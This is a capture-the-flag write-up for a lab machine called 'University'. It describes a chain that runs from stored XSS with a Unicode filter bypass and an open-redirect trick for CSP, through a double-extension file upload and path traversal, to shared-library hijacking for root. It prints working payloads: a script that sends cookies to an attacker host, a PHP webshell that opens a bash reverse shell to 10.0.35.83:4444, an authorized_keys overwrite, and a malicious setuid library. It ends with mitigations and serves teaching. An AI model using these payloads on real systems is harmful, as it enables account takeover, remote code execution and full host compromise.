University - HC Writeup

2026-03-14·9 min read·
ctfwebxssunicodepath-traversalprivilege-escalation

Target Information

  • IP Address: 172.16.2.82
  • Difficulty: Medium
  • Tags: XSS Unicode Normalization Open Redirect File Upload Bypass Path Traversal Shared Library Hijacking PHP Linux

Reconnaissance

Port Scanning

Initial Nmap scan:

$bash
nmap -sC -sV -p- --min-rate 500 -vvv -oA nmap 172.16.2.82

Relevant results:

$code
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd
22/tcp open  ssh     OpenSSH

The target exposes a PHP web application at http://university.hc.


Web Enumeration

Student-to-teacher messaging feature

The application has a messaging feature that lets students contact teachers. The question field is rendered in the teacher’s panel without adequate sanitization, making it a suitable entry point for stored XSS.

The application filters conventional HTML tags. Inspection showed that validation occurs before Unicode normalization: fullwidth Unicode characters (for example, <svg → <svg) pass the filter and are normalized to ASCII by the server or browser before rendering.


Exploitation: XSS + Open Redirect → Session Hijacking

Unicode Normalization Bypass + CSP Bypass via Open Redirect → Session Hijacking

The application sets the following CSP header:

$code
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'

default-src 'self' prevents the payload from sending the browser directly to an external domain. The workaround chains the XSS with the open redirect at /next?redirect=. Because the redirect starts at university.hc (the same origin, or 'self'), the CSP is satisfied.

The payload chains three attack vectors:

  1. Unicode normalization bypass: The <svg onload=...> tag is encoded entirely with fullwidth Unicode characters to evade the input filter. The server (or browser) normalizes them to ASCII before rendering.
  2. CSP bypass through an open redirect: The onload handler sets window.location to /next?redirect=%09http://10.0.35.83:8888/?c='+document.cookie. The %09 (tab) before the absolute URL bypasses redirect validation (which likely checks whether the value starts with /). The redirect originates from the same origin, so CSP allows it.
  3. Cookie exfiltration: After the intermediate redirect through university.hc, the browser is sent to the attacker’s server with the teacher’s session document.cookie in the query string.

Message submission script:

$python
import requests
 
data = {
    "subject": "xss",
    "question": "%EF%BC%9C%EF%BD%93%EF%BD%96%EF%BD%87+%EF%BD%8F%EF%BD%8E%EF%BD%8C%EF%BD%8F%EF%BD%81%EF%BD%84%EF%BC%9D%EF%BC%82%EF%BD%97%EF%BD%89%EF%BD%8E%EF%BD%84%EF%BD%8F%EF%BD%97%EF%BC%8E%EF%BD%8C%EF%BD%8F%EF%BD%83%EF%BD%81%EF%BD%94%EF%BD%89%EF%BD%8F%EF%BD%8E%EF%BC%9D%EF%BC%87%EF%BC%8F%EF%BD%8E%EF%BD%85%EF%BD%98%EF%BD%94%EF%BC%9F%EF%BD%92%EF%BD%85%EF%BD%84%EF%BD%89%EF%BD%92%EF%BD%85%EF%BD%83%EF%BD%94%EF%BC%9D%EF%BC%85%EF%BC%90%EF%BC%99%EF%BD%88%EF%BD%94%EF%BD%94%EF%BD%90%EF%BC%9A%EF%BC%8F%EF%BC%8F%EF%BC%91%EF%BC%90%EF%BC%8E%EF%BC%90%EF%BC%8E%EF%BC%93%EF%BC%95%EF%BC%8E%EF%BC%98%EF%BC%93%EF%BC%9A%EF%BC%98%EF%BC%88%EF%BC%88%EF%BC%88%EF%BC%88%EF%BC%8F%EF%BC%9F%EF%BD%83%EF%BC%9D%EF%BC%87%EF%BC%8B%EF%BD%84%EF%BD%8F%EF%BD%83%EF%BD%95%EF%BD%8D%EF%BD%85%EF%BD%8E%EF%BD%94%EF%BC%8E%EF%BD%83%EF%BD%8F%EF%BD%8F%EF%BD%8B%EF%BD%89%EF%BD%85%EF%BC%82%EF%BC%9E"
}
 
cookies = {"PHPSESSID": "b77qkmgrefos5nih57ftoeppco"}
 
response = requests.post("http://university.hc/send_message", data=data, cookies=cookies)
print("Status:", response.status_code)
print("Response:", response.text[:500])

HTTP listener to capture the cookie:

$bash
sudo python3 -m http.server 8888

Cookie recebido:

$code
172.16.2.82 - - [14/Mar/2026 00:32:13] "GET /?c=PHPSESSID=jnpm5snnu0toq28h9urf692slf HTTP/1.1" 200 -

Teacher cookie obtained: PHPSESSID=jnpm5snnu0toq28h9urf692slf


Exploitation: Remote Code Execution via File Upload Bypass

Extension Check Bypass with a Double Extension (.php.jpg)

With the teacher’s session, access the /professor panel. The file upload feature validates only the final extension (.jpg) without inspecting the content or detecting intermediate extensions.

Payload do webshell:

$php
<?php system("printf KGJhc2ggPiYgL2Rldi90Y3AvMTAuMC4zNS44My80NDQ0IDA+JjEpICY=|base64 -d|bash"); ?>

The Base64 value decodes to: (bash >& /dev/tcp/10.0.35.83/4444 0>&1) &

Upload request:

$http
POST /professor HTTP/1.1
Host: university.hc
Cookie: PHPSESSID=5u3cd5k9cu6dgmvs7j9lvdm1l6
Content-Type: multipart/form-data; boundary=------------------------W95x3UFMIJ0fyYcLrwSOVw
 
--------------------------W95x3UFMIJ0fyYcLrwSOVw
Content-Disposition: form-data; name="meu_arquivo"; filename="shell.php.jpg"
Content-Type: image/jpeg
 
<?php system("printf KGJhc2ggPiYgL2Rldi90Y3AvMTAuMC4zNS44My80NDQ0IDA+JjEpICY=|base64 -d|bash"); ?>
--------------------------W95x3UFMIJ0fyYcLrwSOVw--

Access the file to trigger execution:

$code
GET http://university.hc/uploads/shell.php.jpg
Cookie: PHPSESSID=5u3cd5k9cu6dgmvs7j9lvdm1l6

Listener (penelope):

$bash
penelope

Shell recebida:

$code
[+] Got reverse shell from ip-172-16-2-82 → Assigned SessionID <1>
www-data@ip-172-16-2-82:/var/www/html/public/uploads$

Post-Exploitation: Lateral Movement via Path Traversal in an Internal API

Internal API discovery on port 8080

During enumeration as www-data, a Node.js service was found on 127.0.0.1:8080. Its /upload endpoint accepts files and allows an arbitrary filename, without path traversal sanitization.

Path Traversal Abuse to Write an SSH Key

1. Generate an RSA key pair:

$bash
ssh-keygen -t rsa -f /tmp/mykey -N "" -q

2. Upload the public key to confirm the API behavior:

$bash
curl -X POST http://127.0.0.1:8080/upload -F "file=@/tmp/mykey.pub"
$json
{"message":"Document uploaded successfully","document":{"filename":"mykey.pub","size":577}}

3. Exploit path traversal to overwrite the service user’s authorized_keys:

$bash
curl -X POST http://127.0.0.1:8080/upload \
  -F "file=@/tmp/mykey.pub;filename=../../../../.ssh/authorized_keys"
$json
{"message":"Document uploaded successfully","document":{"filename":"../../../../.ssh/authorized_keys","size":577}}

4. Log in over SSH as service:

$bash
ssh -i /tmp/mykey \
    -o UserKnownHostsFile=/dev/null \
    -o StrictHostKeyChecking=no \
    service@localhost
$code
service@ip-172-16-2-82:~$

Privilege Escalation: Shared Library Hijacking via sudo

Sudo permission enumeration

$bash
sudo -l

Permissions found:

$code
User service may run the following commands on ip-172-16-2-82:
    (ALL) NOPASSWD: /usr/local/bin/backup_manager /tmp

The backup_manager binary dynamically loads liblogger.so. Inspection of library search paths (LD_LIBRARY_PATH, ldconfig, glibc-hwcaps) showed that /usr/local/lib/glibc-hwcaps/x86-64-v2/ is writable by service and takes priority over the standard directory.

Shared Library Hijacking with a Malicious Constructor

1. Create a shared library with a constructor that elevates privileges:

$bash
cat > /tmp/evil_logger.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
void log_message(const char *msg) {}
 
__attribute__((constructor))
void pwn(void) {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
}
EOF

2. Compile it as a shared library:

$bash
gcc -shared -fPIC -o /tmp/evil_logger.so /tmp/evil_logger.c

3. Install it in the hwcaps directory (high load priority):

$bash
cp /tmp/evil_logger.so /usr/local/lib/glibc-hwcaps/x86-64-v2/liblogger.so

4. Run backup_manager as root through sudo:

$bash
sudo /usr/local/bin/backup_manager /tmp

Confirmation:

$bash
root@ip-172-16-2-82:/home/service#

ROOT OBTAINED! The __attribute__((constructor)) runs automatically when the library loads, before main(), calls setuid(0), and spawns /bin/bash -p with root privileges.


Attack Chain Summary

$code
1. Submit a message with XSS through a Unicode normalization bypass
   ↓
2. CSP bypass through the open redirect (/next?redirect=%09http://evil) → exfiltrate the teacher’s PHPSESSID
   ↓
3. Log in as the teacher → file upload bypass (.php.jpg) → RCE
   ↓
4. Reverse shell as www-data
   ↓
5. Internal service enumeration → API on port 8080
   ↓
6. Path traversal in /upload → write to the service user’s authorized_keys
   ↓
7. SSH como service
   ↓
8. sudo NOPASSWD → backup_manager carrega liblogger.so
   ↓
9. Shared Library Hijacking via glibc-hwcaps → Root

Vulnerabilities Summary

  1. Stored XSS through Unicode normalization bypass CWE-79 High

    • The input filter validated ASCII characters but did not normalize Unicode before validation, allowing a bypass with fullwidth characters
  2. Insecure File Upload (Double Extension) CWE-434 High

    • Extension validation checked only the final suffix, without verifying the actual content type or intermediate extensions, allowing PHP execution through .php.jpg
  3. Path Traversal in the Upload API CWE-22 High

    • The unsanitized filename parameter in the internal API (port 8080) allows arbitrary file writes
  4. Shared Library Hijacking via sudo CWE-426 Critical

    • The sudo-executed binary loads liblogger.so from a directory writable by service, allowing arbitrary code execution as root

Technical Analysis

glibc-hwcaps and Library Loading Priority

Technology: glibc dynamic linker with hardware capabilities (hwcaps) support

The Linux dynamic linker (ld.so) loads libraries according to a priority order. glibc-hwcaps directories allow optimized library versions to be distributed for specific architectures. The x86-64-v2 path takes priority over the system’s standard library paths.

Attack chain:

  1. sudo backup_manager runs as root with a clean LD_LIBRARY_PATH (because of env_reset), but the hwcaps directory still takes priority
  2. The linker searches /usr/local/lib/glibc-hwcaps/x86-64-v2/ for liblogger.so before /usr/local/lib/.
  3. The pwn() constructor is invoked automatically before the binary’s main()
  4. setuid(0) + system("/bin/bash -p") escalates to root

Mitigation Recommendations

Application Level

  1. Fix the XSS — Normalize Unicode before validation and sanitize output:
    • Apply NFKC normalization before any input validation
    • Remove unsafe-inline from the CSP and use nonces or hashes for legitimate scripts
    • Fix the open redirect in /next — validate that redirect points only to relative paths or allowlisted domains, and normalize the value (strip whitespace, including tabs \t) before validation
    • Escape all reflected and stored output with htmlspecialchars()
$php
// Normalize and sanitize input
$input = normalizer_normalize($input, Normalizer::FORM_KC);
$input = htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
 
// Validate redirect — strip whitespace and check the origin
$redirect = trim($_GET['redirect']);
$allowed = parse_url('http://university.hc', PHP_URL_HOST);
$target   = parse_url($redirect, PHP_URL_HOST);
if ($target && $target !== $allowed) {
    die("Redirect not allowed.");
}
  1. Fix file uploads — Validate content, not extensions:
    • Check the actual MIME type with finfo_file()
    • Rename uploaded files to names without executable extensions
    • Never serve uploads from the application’s origin
$php
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mimeType = finfo_file($finfo, $tmpFile);
if ($mimeType !== 'image/jpeg') {
    die("File type not allowed.");
}
// Save with a safe filename
$safeName = bin2hex(random_bytes(16)) . '.jpg';
  1. Fix path traversal in the internal API:
    • Sanitize filename by removing ../ and validating it against a base directory
    • Use basename() and verify that the resulting path is inside the permitted directory
$javascript
const path = require('path');
const uploadDir = '/var/uploads';
const safeName = path.basename(filename);
const finalPath = path.join(uploadDir, safeName);
if (!finalPath.startsWith(uploadDir)) {
    throw new Error('Path traversal detected');
}

System Level

  1. Fix privilege escalation through sudo:
    • Remove sudo permission from backup_manager or restrict it with SETENV disabled
    • Ensure that library directories used by sudo-privileged binaries are not writable by non-root users
$bash
# Check permissions
ls -la /usr/local/lib/glibc-hwcaps/x86-64-v2/
# Fix permissions
chown root:root /usr/local/lib/glibc-hwcaps/x86-64-v2/
chmod 755 /usr/local/lib/glibc-hwcaps/x86-64-v2/
  1. Implement additional security controls:

    • Configure AppArmor/SELinux to confine backup_manager
    • Apply least privilege — backup_manager should not need root privileges
    • Enable noexec on upload partitions and /tmp
  2. Monitoring and Logging:

    • Audit sudo calls with auditd
    • Monitor file creation and modification in system library directories
    • Alert on access to /uploads/*.php* on the web server

Tools Used

  • nmap - Port scanning and service fingerprinting
  • penelope - Reverse shell handler with advanced features
  • curl - Manual interaction with HTTP APIs
  • python3 http.server - HTTP server for cookie exfiltration through XSS
  • gcc - Compilation of the malicious shared library

Proof of Concept Scripts

XSS payload decoder (Unicode payload analysis)

$python
#!/usr/bin/env python3
from urllib.parse import unquote
import unicodedata
 
encoded = "%EF%BC%9C%EF%BD%93%EF%BD%96%EF%BD%87+%EF%BD%8F%EF%BD%8E%EF%BD%8C%EF%BD%8F%EF%BD%81%EF%BD%84%EF%BC%9D..."
decoded = unquote(encoded)
normalized = unicodedata.normalize('NFKC', decoded)
print("Unicode fullwidth:", decoded)
print("After NFKC normalization:", normalized)

Exploitation script — path traversal SSH key injection

$python
#!/usr/bin/env python3
import subprocess
import requests
 
TARGET_INTERNAL = "http://127.0.0.1:8080"
SSH_KEY_PATH = "/tmp/mykey"
TARGET_USER = "service"
 
# Generate an SSH key
subprocess.run(["ssh-keygen", "-t", "rsa", "-f", SSH_KEY_PATH, "-N", "", "-q"])
 
pub_key = SSH_KEY_PATH + ".pub"
 
# Exploit path traversal
with open(pub_key, "rb") as f:
    files = {"file": ("../../../../home/service/.ssh/authorized_keys", f, "text/plain")}
    r = requests.post(f"{TARGET_INTERNAL}/upload", files=files)
    print("Status:", r.status_code)
    print("Resposta:", r.json())
 
print(f"\n[+] Tente: ssh -i {SSH_KEY_PATH} service@<TARGET_IP>")

Flags

$code
User Flag: /home/service/user.txt
Root Flag: /root/root.txt

References

XSS & Unicode

File Upload

Path Traversal

Shared Library Hijacking


Author: cbxcvl Date: March 14, 2026 Machine: University Release Date: March 14, 2026